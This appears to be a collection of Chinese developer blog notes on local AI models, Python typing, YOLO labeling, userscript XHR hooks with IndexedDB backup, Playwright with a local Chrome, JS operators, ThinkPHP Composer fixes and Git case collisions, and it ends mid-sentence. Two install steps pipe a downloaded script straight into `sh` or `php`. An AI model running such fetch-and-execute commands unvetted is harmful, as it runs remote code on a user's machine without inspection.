Qwen2.5-VL-7B → 看图、OCR、标注辅助 Whisper large → 语音转文字 GroundingDINO + SAM2 → 自动标注 YOLO11s → 目标检测训练这套组合基本把 8GB 显存榨干,覆盖开发、标注、OCR、视觉分析全场景。
RTX 3060 Ti(8 GB)能跑哪些 AI 模型:LLM / VLM / YOLO 一览
RTX 3060 Ti 是老一代甜品卡(8 GB 显存 / 4864 CUDA 核心),本地跑 AI 到底能到什么程度?这里按类型拆开说,方便对号入座。 LLM 大语言模型 流畅运行(4bit 量化)模型 4bit 显存 3060 Ti 体验Qwen3 4B / Gemma 3 4B 2–3 GB 极快,长上下文也稳Llama 3.2 3B 2 GB 极快Qwen3 8B / Llama 3.1 8B 4–5 GB 舒服,20+ tok/s跑 8B 级别是最好的性价比——推理速度快、显存留够上下文、日常问答 / 代码补全都能用。 勉强能跑Qwen3 14B(4bit):显存刚好 8 GB 附近,需要部分层卸载到 CPU Llama 3.1 8B + 长上下文(32K+):KV cache 会顶到 6 GB+工具用 Ollama / LM Studio 会自动做 CPU 卸载,速度下降到 5-8 tok/s。 别指望Qwen3 32B、DeepSeek-R1 原版、Llama 3 70B 这些至少要 24 GB 显存 + 大量系统内存,多卡才舒服代码模型 3060 Ti 本地跑:Qwen3-Coder-8B(4bit) DeepSeek-Coder-V2-Lite(16B MoE 但激活参数少)Python / JS / Vue / PHP 补全够用,但和 Claude / GPT-4 差距还是明显。作为离线补全 + 隐私备份合适,做核心开发工具不推荐。 多模态(VL)模型 看图说话、OCR、UI 截图分析:Qwen2.5-VL 3B / 7B:3060 Ti 主力选择 MiniCPM-V 4.5:中文 OCR 强,端侧优化好 InternVL 2.5 4B用途:图片问答 表格图 → 结构化数据 UI 截图定位元素(配合自动化) PDF / 扫描件 OCRYOLO 训练 完全无压力YOLOv8n / YOLOv8s YOLO11n / YOLO11s YOLOv5s640×640 输入 + batch 16-32,一张 3060 Ti 单卡跑几千张数据集,几个小时收敛。 可以训练YOLOv8m / YOLO11m要压 batch 到 8 或者降图片尺寸。 吃力YOLOv8l / YOLOv8x:batch 1-2、图片 640 以下,能训但很慢 SAM / DINO 类分割模型:训练基本没戏,推理够呛Stable Diffusion / 文生图SD 1.5(512×512):几秒一张,舒服 SDXL / SDXL Turbo(1024×1024):能跑,但慢,需要开 --medvram Flux 1:显存不够,直接放弃配合 ControlNet、LoRA 会显著吃显存,SDXL + ControlNet 已经很紧。 OCR 跑 OCR 反而对显存要求低:PaddleOCR PP-OCRv5:中文强、CPU 也能跑,GPU 加速几百 QPS RapidOCR:更轻量,ONNX 部署 DocOwl / MinerU:文档结构化,需要 4-6 GB推荐的实用组合 一台 3060 Ti + 32 GB 内存的机器,日常跑这套刚刚好:用途 模型 工具日常聊天 / 代码 Qwen3-8B-Instruct (Q4) Ollama / LM Studio看图 / OCR Qwen2.5-VL 7B vLLM / LM Studio目标检测训练 YOLO11s Ultralytics出图 SD 1.5 + ControlNet ComfyUI / A1111转写字幕 Whisper Small / Medium faster-whisper八九不离十能覆盖个人开发者需求。 Ollama 一键跑 # 装 Ollama curl -fsSL https://ollama.com/install.sh | sh# 拉模型 ollama pull qwen3:8b ollama pull qwen2.5-vl:7b# 跑 ollama run qwen3:8bOllama 会自动挑合适量化、自动 GPU/CPU 分配、不用你操心。 一句话总结 3060 Ti 8GB 甜蜜点是 7B~8B 量化 LLM + 中等 YOLO 训练 + SD 1.5。想跑 14B+ 或 SDXL 就得砍上下文 / 出图速度。真要玩大模型,二手 3090 / 4090 才是更好投资。
Python from __future__ import annotations 详解:延迟求值与前向引用
它解决什么问题 Python 在解析函数签名时会立即对类型注解求值。如果类还没定义完就引用了自身,会抛 NameError: class Node: def __init__(self, next: Node = None): # NameError: name 'Node' is not defined self.next = next加上这一行就能解决: from __future__ import annotationsclass Node: def __init__(self, next: Node = None): # 正常 self.next = next原理是让 Python 把所有注解保存为字符串,不再立即解析。 核心效果 from __future__ import annotationsclass User: passdef get_user() -> User: return User()print(get_user.__annotations__) # {'return': 'User'} ← 字符串,不是 <class '__main__.User'>没有这行时,__annotations__ 里存的是实际类对象;有了这行,全部变成字符串,运行时不解析。 解决循环引用 from __future__ import annotationsclass A: def test(self, b: B) -> None: passclass B: def test(self, a: A) -> None: pass不加的话,定义 A 时 B 还不存在,报 NameError。 常见使用场景 FastAPI / Pydantic 模型互相引用: from __future__ import annotations from pydantic import BaseModelclass Article: author: Authorclass Author: articles: list[Article]SQLAlchemy ORM 关系: from __future__ import annotations from sqlalchemy.orm import Mapped, relationshipclass User(Base): posts: Mapped[list[Post]] = relationship()class Post(Base): user: Mapped[User] = relationship()这是 FastAPI、Pydantic、SQLAlchemy 等库的文件开头几乎都有这行的原因。 运行时获取实际类型 如果需要在运行时把字符串注解解析回真实类型,用 typing.get_type_hints(): from __future__ import annotations import typingclass Foo: def bar(self) -> Foo: return selfhints = typing.get_type_hints(Foo.bar) print(hints) # {'return': <class '__main__.Foo'>}get_type_hints() 会在运行时把字符串注解解析成真实类型。 Python 版本说明from __future__ import annotations 来自 PEP 563,Python 3.7 引入 PEP 563 原本计划在 Python 3.10 成为默认行为,后来推迟,至今(Python 3.12+)仍需显式导入 Python 3.10 引入了 X | Y 联合类型语法,可以写 int | None 代替 Optional[int],但前向引用问题 from __future__ import annotations 仍是最简洁的解法一行导入,让注解写法更自由,是现代 Python 项目的常见约定。
YOLO 标注工具选型:X-AnyLabeling / LabelMe / PaddleX
YOLO 训练项目中,标注工具的选择影响效率,特别是在自动预标注和多种格式导出方面差异很大。 X-AnyLabeling(推荐,功能最全) 国内团队维护,目前更新最活跃的智能标注工具。 核心优势:内置 SAM 自动分割(点击目标自动生成 mask) 集成 GroundingDINO 文本驱动检测 支持 YOLOv8 预标注(先训一个小模型,用它预标注剩余数据) 支持矩形、多边形、关键点、旋转框等多种标注类型 支持 YOLO、COCO、VOC 格式导出pip install x-anylabeling x-anylabeling适合:需要 AI 辅助加速标注,或做实例分割。 LabelMe(经典稳定) Python 实现,教程资料最多,适合新手入门。 pip install labelme labelme特点:支持矩形、多边形、圆形、线段标注 JSON 格式保存,可转换为 YOLO/COCO 格式 社区资料丰富不足:纯手动标注,没有 AI 辅助,标注效率相对低。 PaddleX(无代码完整流程) 百度飞桨出品,从标注到训练到部署的一站式平台。 pip install paddlepaddle paddlex完整流程: 数据上传 → 标注 → 训练(可视化监控)→ 评估 → 导出模型 → 部署特点:图形化界面,不需要写代码 支持目标检测、图像分类、OCR、语义分割 自带数据增强 支持 GPU 分布式训练适合:不熟悉深度学习代码的工程师,或做快速验证。 Label Studio(团队协作) 功能最完整的企业级标注平台。 pip install label-studio label-studio start特点:多用户任务分配和审核 支持图片、文本、音频、视频 REST API,可集成到训练流水线 支持 YOLO、COCO 等格式导出 社区版免费,企业版收费适合:团队协作标注大数据集,或需要标注审核流程。 工具对比工具 AI 辅助 团队协作 学习成本 适用场景X-AnyLabeling ✅ SAM+DINO ❌ 低 智能辅助标注LabelMe ❌ ❌ 极低 个人小数据集PaddleX 部分 ❌ 低(有 GUI) 无代码训练Label Studio ✅ ✅ 中 团队大规模标注YOLO 格式快速说明 标注完成后导出为 YOLO 格式(.txt 文件): # 每行格式:class_id cx cy width height 0 0.5 0.3 0.2 0.15 1 0.7 0.6 0.1 0.08坐标均为相对图片尺寸的归一化值(0~1)。class_id 从 0 开始,对应 data.yaml 中的类别列表。 预标注加速工作流 效率最高的策略:手动标注 200~500 张 训练一个初版 YOLOv8 模型 用该模型对剩余数据预标注 人工审核+修正(只改错误的框) 合并数据重新训练通常从第二轮开始,实际手工修改量减少 60~80%。
Canvas 拖拽标注框:startBox 模式避免累计误差与 offsetX 自然拖拽感
问题:mousemove 中累加导致误差 // 错误写法:每次 mousemove 都叠加 canvas.addEventListener('mousemove', (e) => { if (!isDragging) return; const dx = e.clientX - lastX; const dy = e.clientY - lastY; bbox.x += dx; // 浮点累加,误差逐帧积累 bbox.y += dy; lastX = e.clientX; lastY = e.clientY; });每帧的 dx 存在浮点舍入,经过几百次 mousemove 后,bbox 位置与鼠标实际位置产生偏差。 解决:startBox 模式 mousedown 时保存初始状态,mousemove 始终基于初始状态计算绝对位置: let dragState = null;canvas.addEventListener('mousedown', (e) => { const mouseX = getCanvasX(e); const mouseY = getCanvasY(e); if (isInsideBbox(mouseX, mouseY, bbox)) { dragState = { startX: mouseX, startY: mouseY, startBox: { ...bbox } // 拷贝初始位置 }; } });canvas.addEventListener('mousemove', (e) => { if (!dragState) return; const mouseX = getCanvasX(e); const mouseY = getCanvasY(e); const dx = mouseX - dragState.startX; const dy = mouseY - dragState.startY; // 每帧都基于 startBox 计算,不累加 bbox.x = dragState.startBox.x + dx; bbox.y = dragState.startBox.y + dy; redraw(); });canvas.addEventListener('mouseup', () => { dragState = null; });bbox.x = startBox.x + dx 而不是 bbox.x += dx,误差不再累积。 offsetX 模式:自然拖拽手感 上面的写法有个体验问题:点击框的右下角时,鼠标移动会让框的左上角跳到鼠标位置。 offsetX 模式记录点击点与框左上角的偏移量,保持鼠标与抓取点的相对位置不变: canvas.addEventListener('mousedown', (e) => { const mouseX = getCanvasX(e); const mouseY = getCanvasY(e); if (isInsideBbox(mouseX, mouseY, bbox)) { dragState = { offsetX: mouseX - bbox.x, // 鼠标在框内的相对位置 offsetY: mouseY - bbox.y }; } });canvas.addEventListener('mousemove', (e) => { if (!dragState) return; const mouseX = getCanvasX(e); const mouseY = getCanvasY(e); bbox.x = mouseX - dragState.offsetX; bbox.y = mouseY - dragState.offsetY; redraw(); });鼠标无论点击框内哪个位置,拖拽过程中该点始终跟随鼠标,手感自然。 三种方案对比方案 误差 拖拽手感 适用场景bbox.x += dx(lastX 累加) 有累计误差 一般 不推荐startBox 模式 无误差 左上角跳到鼠标 精确位移要求高offsetX 模式 无误差 自然,保持抓取点 用户交互体验优先大多数标注工具选择 offsetX 模式,既无误差又有自然手感。 坐标转换 Canvas 内部坐标需要考虑缩放和滚动: function getCanvasX(e) { const rect = canvas.getBoundingClientRect(); return (e.clientX - rect.left) / scale; }function getCanvasY(e) { const rect = canvas.getBoundingClientRect(); return (e.clientY - rect.top) / scale; }scale 是 Canvas 的缩放比例,不除以 scale 会导致缩放后拖拽位置错误。
油猴脚本 XHR Hook 数据落地:IndexedDB 本地备份 + 本地服务双写
场景 油猴脚本 Hook XHR/fetch 后捕获接口数据,需要持久化保存。常见方案是 POST 到本机 http://127.0.0.1:PORT,但本地服务可能未启动或崩溃,导致丢失数据。 双写方案:先写 IndexedDB(浏览器本地,无外部依赖),再异步 POST 到本地服务,两者互为备份。 IndexedDB 封装 const DB_NAME = 'XhrBackup'; const STORE_NAME = 'records';let db = null;function initDB() { return new Promise((resolve, reject) => { const req = indexedDB.open(DB_NAME, 1); req.onupgradeneeded = (e) => { const store = e.target.result.createObjectStore(STORE_NAME, { keyPath: 'id', autoIncrement: true }); store.createIndex('fileName', 'fileName', { unique: false }); }; req.onsuccess = (e) => { db = e.target.result; resolve(db); }; req.onerror = (e) => reject(e.target.error); }); }function saveToIDB(fileName, content) { return new Promise((resolve, reject) => { const tx = db.transaction(STORE_NAME, 'readwrite'); const store = tx.objectStore(STORE_NAME); store.add({ fileName, content, savedAt: Date.now() }); tx.oncomplete = resolve; tx.onerror = (e) => reject(e.target.error); }); }队列去重与批量 flush 频繁触发(如分页列表接口每页都调用)时需要去重,避免重复保存同一数据: const savedSet = new Set(); const queue = []; let flushTimer = null;function enqueueSave(fileName, content) { if (savedSet.has(fileName)) return; // 去重 savedSet.add(fileName); queue.push({ fileName, content }); // 1 秒防抖,批量 flush if (!flushTimer) { flushTimer = setTimeout(flushQueue, 1000); } }function flushQueue() { const batch = [...queue]; queue.length = 0; flushTimer = null; batch.forEach(item => saveItem(item.fileName, item.content)); }双写实现 async function saveItem(fileName, content) { // 1. 先写 IndexedDB(不依赖本地服务) try { await saveToIDB(fileName, content); console.log('✅ IDB 保存成功:', fileName); } catch (e) { console.error('❌ IDB 保存失败:', fileName, e); } // 2. 再 POST 到本地服务(可选) const controller = new AbortController(); const timeout = setTimeout(() => controller.abort(), 5000); fetch('http://127.0.0.1:8099/save', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ fileName, content }), signal: controller.signal }) .then(res => { clearTimeout(timeout); if (!res.ok) throw new Error(`HTTP ${res.status}`); console.log('✅ 服务保存成功:', fileName); }) .catch(err => { clearTimeout(timeout); if (err.name === 'AbortError') { console.warn('⚠️ 服务超时,已保留 IDB 备份:', fileName); } else { console.error('❌ 服务保存失败(IDB 已备份):', fileName, err.message); } }); }XHR Hook 集成 const originOpen = XMLHttpRequest.prototype.open; const originSend = XMLHttpRequest.prototype.send;XMLHttpRequest.prototype.open = function (method, url, ...rest) { this._method = method; this._url = url; return originOpen.apply(this, [method, url, ...rest]); };XMLHttpRequest.prototype.send = function (body) { this.addEventListener('readystatechange', function () { if (this.readyState !== 4) return; // 匹配目标接口 URL,按业务修改正则 if (/\/api\/data\/\d+/.test(this._url)) { const url = new URL(this._url, location.origin); const id = url.searchParams.get('id') || Date.now(); enqueueSave(`data/${id}_response.json`, this.responseText); } }); return originSend.apply(this, arguments); };读取 IndexedDB 中已保存的数据 function getAllRecords() { return new Promise((resolve, reject) => { const tx = db.transaction(STORE_NAME, 'readonly'); const store = tx.objectStore(STORE_NAME); const req = store.getAll(); req.onsuccess = () => resolve(req.result); req.onerror = (e) => reject(e.target.error); }); }// 控制台查看所有备份 getAllRecords().then(records => { console.log(`共 ${records.length} 条备份`); console.table(records.map(r => ({ id: r.id, fileName: r.fileName, savedAt: new Date(r.savedAt).toLocaleString() }))); });初始化入口 // 油猴脚本主入口 (async function () { await initDB(); // 在这里挂 XHR Hook console.log('备份系统就绪'); })();IndexedDB 在同源页面(同协议+域名+端口)下持久存储,浏览器关闭后数据不丢失,只有手动清除浏览器数据时才会清空。
浏览器 XHR Hook + IndexedDB:油猴脚本实现网络请求本地备份
在油猴脚本或浏览器控制台中,可以通过覆写 XMLHttpRequest.prototype 方法拦截页面发出的所有 XHR 请求,配合本地服务实现数据自动备份。 XHR Hook 核心实现 const originOpen = XMLHttpRequest.prototype.open; const originSend = XMLHttpRequest.prototype.send;XMLHttpRequest.prototype.open = function (method, url, ...rest) { this._method = method; this._url = url; return originOpen.apply(this, [method, url, ...rest]); };XMLHttpRequest.prototype.send = function (body) { this.addEventListener('readystatechange', function () { if (this.readyState === 4) { // 匹配目标接口 if (/\/api\/data/.test(this._url)) { enqueueSave(`data_${Date.now()}.json`, this.responseText); } } }); return originSend.apply(this, arguments); };readyState === 4 表示请求完成,this.responseText 是响应体。 Set 去重 + 队列节流 高频请求下需要防止重复保存和并发过多: const savedSet = new Set(); const queue = []; let timer = null;function enqueueSave(fileName, content) { if (savedSet.has(fileName)) return; // 去重 savedSet.add(fileName); queue.push({ fileName, content }); // 1秒后批量发送 if (!timer) { timer = setTimeout(flushQueue, 1000); } }function flushQueue() { const batch = [...queue]; queue.length = 0; timer = null; batch.forEach(item => saveToServer(item.fileName, item.content)); }保存到本地 HTTP 服务(带超时) function saveToServer(fileName, content) { const controller = new AbortController(); const id = setTimeout(() => controller.abort(), 5000); return fetch('http://127.0.0.1:8099/save', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ fileName, content }), signal: controller.signal }) .then(res => { clearTimeout(id); return res; }) .catch(err => console.error('保存失败:', fileName, err)); }IndexedDB 兜底备份 当本地服务不可用时,IndexedDB 可以作为浏览器内持久化存储的备份: const DB_NAME = 'localBackupDB'; const STORE_NAME = 'backups'; let db;function initDB() { return new Promise((resolve, reject) => { const req = indexedDB.open(DB_NAME, 1); req.onupgradeneeded = (e) => { const d = e.target.result; if (!d.objectStoreNames.contains(STORE_NAME)) { d.createObjectStore(STORE_NAME, { keyPath: 'id' }); } }; req.onsuccess = (e) => { db = e.target.result; resolve(db); }; req.onerror = (e) => reject(e); }); }function saveToIndexedDB(fileName, content) { if (!db) return; const tx = db.transaction(STORE_NAME, 'readwrite'); tx.objectStore(STORE_NAME).put({ id: fileName, content, timestamp: Date.now() }); }在 enqueueSave 中同时写入: function enqueueSave(fileName, content) { if (savedSet.has(fileName)) return; savedSet.add(fileName); saveToIndexedDB(fileName, content); // 本地先存一份 queue.push({ fileName, content }); if (!timer) { timer = setTimeout(flushQueue, 1000); } }读取 IndexedDB 备份 function getAllBackups() { return new Promise((resolve) => { const tx = db.transaction(STORE_NAME, 'readonly'); const req = tx.objectStore(STORE_NAME).getAll(); req.onsuccess = () => resolve(req.result); }); }getAllBackups().then(records => { records.forEach(r => console.log(r.id, r.timestamp)); });IndexedDB 在同源页面刷新后仍然保留数据,是浏览器端容量最大的持久化存储方案(通常限额数百 MB 到 GB 级别)。
Playwright 使用本地已安装的 Chrome:channel、executablePath 与 CDP 连接
Playwright 默认使用自带的 Chromium 浏览器。以下四种方式可以改用本地安装的 Google Chrome。 方法一:channel='chrome'(最简单) 需要本机已安装 Google Chrome。 Python: from playwright.sync_api import sync_playwrightwith sync_playwright() as p: browser = p.chromium.launch(channel="chrome", headless=False) page = browser.new_page() page.goto("https://example.com") browser.close()JavaScript: const { chromium } = require('playwright');const browser = await chromium.launch({ channel: 'chrome', headless: false }); const page = await browser.newPage(); await page.goto('https://example.com'); await browser.close();方法二:指定 executablePath Python(各平台路径): # Windows executable_path = r"C:\Program Files\Google\Chrome\Application\chrome.exe"# macOS executable_path = "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"# Linux executable_path = "/usr/bin/google-chrome"browser = p.chromium.launch(executable_path=executable_path, headless=False)方法三:launchPersistentContext(复用登录状态) 使用已登录账号、Cookie、插件的 Chrome 用户数据目录: Python: from playwright.sync_api import sync_playwrightwith sync_playwright() as p: context = p.chromium.launch_persistent_context( r"C:\Users\用户名\AppData\Local\Google\Chrome\User Data", channel="chrome", headless=False, ) page = context.pages[0] or context.new_page() page.goto("https://example.com")注意:Chrome 运行时会独占用户目录,使用此方法前需要关闭所有 Chrome 窗口,否则报错: Profile is already in use方法四:connectOverCDP(连接已启动的 Chrome) 先启动 Chrome 并开启远程调试端口(不影响正常使用): # Windows "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222# macOS /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222然后 Playwright 连接: Python: browser = p.chromium.connect_over_cdp("http://127.0.0.1:9222") page = browser.contexts[0].pages[0] page.goto("https://example.com")JavaScript: const browser = await chromium.connectOverCDP('http://127.0.0.1:9222'); const page = browser.contexts()[0].pages()[0];这种方式完全复用当前 Chrome 的登录状态、Cookie 和扩展,且不独占用户目录。适合需要手动操作与自动化混合使用的场景。 方案对比方法 复用登录 Chrome 需关闭 保留插件channel='chrome' ✗ 否 ✗executablePath ✗ 否 ✗launchPersistentContext ✓ 是 ✓connectOverCDP ✓ 否 ✓
JS 逻辑赋值运算符:||= / &&= / ??= 用法和区别
ES2021 引入了三个逻辑赋值运算符:||=、&&=、??=。这三个符号都是"条件赋值"的简写,但触发条件各不相同,混淆了容易出 bug。 ||=(逻辑或赋值) 只有左侧为 falsy 时才赋值: a ||= b // 等价于 a = a || b // 即:if (!a) a = blet x = null; x ||= "default"; console.log(x); // "default"let y = 0; y ||= 100; console.log(y); // 100 ← 0 是 falsy,会被覆盖会触发赋值的值:null、undefined、false、0、''、NaN 典型用途:缓存计算结果 function checkIsRowVisible(data) { viewportRect ||= scrollContainer.getBoundingClientRect(); // 第一次为 undefined,执行右侧并缓存 // 之后 viewportRect 有值,跳过 const rowEl = data._rowEl.getBoundingClientRect(); return rowEl.bottom >= viewportRect.top && rowEl.top <= viewportRect.bottom; }??=(空值合并赋值) 只有左侧为 null 或 undefined 时才赋值: a ??= b // 等价于 a = a ?? b // 即:if (a === null || a === undefined) a = blet x = null; x ??= "default"; console.log(x); // "default"let y = 0; y ??= 100; console.log(y); // 0 ← 0 不是 null/undefined,不会被覆盖??= 比 ||= 更"精准":0、false、'' 都不会触发赋值。 典型用途:对象属性的惰性初始化 user.preferences ??= {}; user.preferences.theme ??= "dark";&&=(逻辑与赋值) 只有左侧为 truthy 时才赋值: a &&= b // 等价于 a = a && b // 即:if (a) a = blet arr = [1, 2, 3]; arr &&= arr.map(x => x * 2); console.log(arr); // [2, 4, 6]let empty = null; empty &&= [1, 2, 3]; console.log(empty); // null ← null 是 falsy,不赋值典型用途:只在值存在时更新 element &&= element.querySelector(".item"); // element 为 null 时不执行,避免报错三者对比运算符 触发赋值条件 不触发的值||= 左侧为 falsy truthy 值??= 左侧为 null/undefined 0, false, '', NaN 等&&= 左侧为 truthy falsy 值let a = 0; a ||= 1; // a = 1 (0 是 falsy) a = 0; a ??= 1; // a = 0 (0 不是 null/undefined) a = 0; a &&= 1; // a = 0 (0 是 falsy,不赋值)let b = 5; b ||= 1; // b = 5 (5 是 truthy,不赋值) b ??= 1; // b = 5 (5 不是 null/undefined,不赋值) b &&= 10; // b = 10 (5 是 truthy,赋值)选哪个想要"没有值就用默认值",且 0 / false / '' 也算有效值 → 用 ??= 想要"空/假就用默认值" → 用 ||= 想要"有值才更新" → 用 &&=对于对象初始化类的场景,??= 更安全,不会意外覆盖 false 或 0 这类合法值。
JavaScript 逻辑赋值运算符:||=、&&=、??= 和可选链动态属性访问
逻辑或赋值 ||= ES2021 引入的 ||= 只在左侧是 falsy 时才赋值: viewportRect ||= scrollContainer.getBoundingClientRect();等价于: if (!viewportRect) { viewportRect = scrollContainer.getBoundingClientRect(); }常用于"懒初始化缓存":第一次访问时计算并保存,后续复用已有值,避免重复执行开销大的操作。 触发赋值的 falsy 值:null、undefined、false、0、''、NaN。 空值合并赋值 ??= ??= 只在左侧是 null 或 undefined 时才赋值: config.timeout ??= 5000;等价于: if (config.timeout === null || config.timeout === undefined) { config.timeout = 5000; }||= 与 ??= 的区别 let x = 0; x ||= 10; console.log(x); // 10 ← 0 是 falsy,触发了赋值let y = 0; y ??= 10; console.log(y); // 0 ← 0 不是 nullish,不触发赋值场景 推荐变量为空对象/数组/字符串时初始化 ??=变量为任何假值时初始化 `变量已赋值则不覆盖 ??=(更安全)逻辑与赋值 &&= &&= 只在左侧是 truthy 时才赋值: user &&= { ...user, lastLogin: Date.now() }; // 仅当 user 存在时才更新可选链结合动态属性访问 ?.[] 是可选链加计算属性的组合: const currentValue = projection.user_property?.[attrDef.value];等价于: const currentValue = projection.user_property == null ? undefined : projection.user_property[attrDef.value];attrDef.value 是运行时计算的属性名,不能用 ?. 点语法(点语法只能接静态标识符),必须用方括号形式 ?.[]。 // 深层链式安全访问 const val = obj?.a?.b?.[dynamicKey]?.value; // 任何一级为 null/undefined 都返回 undefined,不会抛错
ThinkPHP 5.1 老项目 + Composer 2:think-installer 装不上
维护一个老 ThinkPHP 5.1 项目,composer install 直接崩: Problem 1 - topthink/think-installer is locked to version v2.0.0 and an update of this package was not requested. - topthink/think-installer v2.0.0 requires composer-plugin-api ^1.0 -> found composer-plugin-api[2.9.0] but it does not match the constraint. Problem 2 - topthink/framework v5.1.39 requires topthink/think-installer 2.* ...顺带还有: The "https://packagist.phpcomposer.com/packages.json" file could not be downloaded (404)两个问题:Composer 版本不兼容 + 镜像源死了。 症状 1:think-installer 只支持 Composer 1 topthink/think-installer v2.0.0 明确要 composer-plugin-api ^1.0,也就是 Composer 1.x 的插件接口。你机器上是 Composer 2.x,插件接口版本变成 2.x,直接不兼容。 TP5.1 上线那会儿(2018)Composer 2 还没出,这问题在当时不存在,遗留下来才成了坑。 解法:降回 Composer 1 推荐、最省事、也最不折腾业务代码。 方法 A:Composer 自己降版本 composer self-update --1Composer 会在原地切到最新的 1.x(一般是 1.10.27)。想指定: composer self-update 1.10.27方法 B:装一个独立的 Composer 1 不想动全局 Composer 的话,单独下一份: curl -sS https://getcomposer.org/installer | php -- --1 mv composer.phar /usr/local/bin/composer1 composer1 install老项目用 composer1,新项目继续用 composer。 症状 2:packagist.phpcomposer.com 已凉 老教程里推荐的 packagist.phpcomposer.com 这个镜像已经关服多年,仍然响应 404。检查 composer.json: cat composer.json | grep -A 3 repositories看到: "repositories": { "packagist": { "type": "composer", "url": "https://packagist.phpcomposer.com" } }改成官方源或者阿里镜像: # 官方 composer config -g repo.packagist composer https://repo.packagist.org# 阿里云 composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/# 清华(有时更快) composer config -g repo.packagist composer https://mirrors.tuna.tsinghua.edu.cn/composer/-g 是全局,改单个项目就去掉。 也可以直接改 composer.json 里的 repositories 字段,同样效果。 完整恢复流程 # 1. Composer 降 1 composer self-update --1# 2. 换镜像 composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/# 3. 清缓存 composer clear-cache# 4. 重装依赖 rm -rf vendor composer.lock composer install90% 的老 TP5.1 项目这一套下来就恢复了。 什么时候该升级项目 如果这不是紧急救火,考虑:升到 ThinkPHP 6 或 8,从 5.1 迁移文档官方有 或者只把 topthink/think-installer 换成 topthink/framework 的现代版本,去掉这个已废弃的插件但生产环境急救时先别动这些——先降 Composer 让站起来,稳定了再排期改造。 一句话总结 think-installer 只兼容 Composer 1,最直接的解法是 composer self-update --1。顺手把死了的 phpcomposer.com 镜像换成阿里或官方源。
ThinkPHP 5.1 / PhalApi 老项目 Composer 兼容性修复:Composer 2 报错与 composer.lock 镜像污染
部署老 PHP 项目时,composer install 报错往往是 Composer 版本与框架不兼容,或者 lock 文件里记录了失效的镜像地址。 基本部署脚本 #!/bin/bashcd /www/wwwroot/project || exit 1 git pull origin main不依赖 cd 的写法: git -C /www/wwwroot/project pull origin mainComposer 2 与 ThinkPHP 5.1 不兼容 典型错误: topthink/think-installer v2.0.0 requires composer-plugin-api ^1.0 found composer-plugin-api[2.9.0]原因:think-installer v2.0.0 只支持 Composer 1.x,而 Composer 2.x 内置的 composer-plugin-api 是 2.9.0。 确认版本: composer -V降级到 Composer 1(推荐) composer self-update --1 # 或指定版本 composer self-update 1.10.27然后: composer install如果项目目录里有 composer.phar(旧版本): php composer.phar install注意:Packagist 已于 2025-09-01 停止支持 Composer 1 对于无 composer.lock 的老项目,Composer 1 的 composer update 无法重新解析依赖,因为 Packagist 已不提供 Composer 1 格式的包数据。 如果 lock 文件还在,composer install 仍然可以按 lock 文件安装。 dev-master 是什么 "phalapi/task": "dev-master"dev-master 表示直接跟踪 Git 仓库的 master 分支最新提交,不安装正式 release 版本。需要在 composer.json 里声明: "minimum-stability": "dev"才能安装。风险:每次 composer update 拉的内容不固定,接口可能变动。GitHub 默认分支改名后,新项目改用 dev-main。 composer.lock 里的阿里云镜像污染 如果 lock 文件在其他人的阿里云镜像环境下生成,里面会固化 dist URL: "dist": { "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%" }执行 composer install 时 Composer 严格按照 lock 安装,会尝试从这个地址下载,触发: Authentication required (mirrors.aliyun.com): Username:检测 grep -n "mirrors.aliyun.com" composer.lock修复方案 方案 1:--prefer-source(推荐快速处理) php composer.phar install --prefer-source优先 git clone 源码,绕过 dist zip 下载,大多数情况能直接解决。 方案 2:重新生成 lock rm composer.lock rm -rf vendor php composer.phar clear-cache php composer.phar update重新生成后验证: grep "mirrors.aliyun.com" composer.lock应该没有任何结果。 方案 3:从仓库恢复 lock 如果 lock 是仓库管理的: git checkout composer.lock然后再用 --prefer-source 安装。 PhalApi 2.x 依赖安装成功的标志 Generating autoload files这行出现且后面没有 RuntimeException / Installation failed,说明安装成功。然后验证: php -r "require 'vendor/autoload.php'; echo 'OK';"PHP 版本建议 ThinkPHP 5.1 / ThinkCMF 5.1 / PhalApi 2.x 老项目:PHP 7.2 ~ 7.4:最稳定 PHP 8.0+:可能遇到 each()、create_function() 等已删除函数报错
Git 大小写文件名冲突:Windows/macOS 改名后出现重复文件
在 Windows 和默认 macOS 文件系统(大小写不敏感)上改文件名大小写,Git 不会把它识别为 rename,而是把两个文件都保留在仓库里。 症状 执行 git pull 时出现: warning: the following paths have collided (e.g. case-sensitive paths on a case-insensitive filesystem) and only one from the same colliding group is in the working tree: 'app/substation/controller/RiderAuditController.php' 'app/substation/controller/RiderauditController.php'原因 Git 内部是大小写敏感的,仓库里可以同时存在两个文件: RiderAuditController.php RiderauditController.php但 Windows(NTFS)和 macOS(APFS 默认)认为它们是同一个文件,检出时只能保留一个,发生碰撞。 通常是有人在 Windows 上直接改了文件名大小写,Git 把旧文件和新文件都提交进去了。 确认仓库状态 在任意环境执行: git ls-files | grep -i rideraudit如果输出两行就说明仓库里确实存在两个文件: app/substation/controller/RiderAuditController.php app/substation/controller/RiderauditController.php解决步骤(必须在 Linux 或 WSL2 上操作) Windows/macOS 文件系统无法同时持有两个大小写不同的文件,操作只能在大小写敏感环境中完成。 方案一:Linux 服务器(推荐) # SSH 到 Linux 服务器,确认两文件内容 diff app/substation/controller/RiderAuditController.php \ app/substation/controller/RiderauditController.php# 删除要废弃的文件(以删除大写版为例) git rm app/substation/controller/RiderAuditController.php git rm phalapi/src/rider/Model/RiderAudit.phpgit commit -m "fix: remove duplicate case-sensitive files" git push方案二:WSL2(Windows 用户) wsl cd /mnt/c/projects/your-repogit rm app/substation/controller/RiderAuditController.php git commit -m "fix: remove duplicate case-sensitive files" git pushpush 之后,Windows/macOS 成员再 git pull 就不会再有冲突。 如果两个文件内容不同 先比较差异: git diff --no-index \ app/substation/controller/RiderAuditController.php \ app/substation/controller/RiderauditController.php查看哪个是最新版本再决定保留哪个。也可以用 git log 看提交历史: git log --follow -- app/substation/controller/RiderAuditController.php git log --follow -- app/substation/controller/RiderauditController.php不推荐的绕过方式macOS 创建大小写敏感卷(APFS Case-sensitive) Windows 开启目录大小写敏感:fsutil file setCaseSensitiveInfo . enable这两种方式只解决当前机器的问题,团队里其他 Windows/macOS 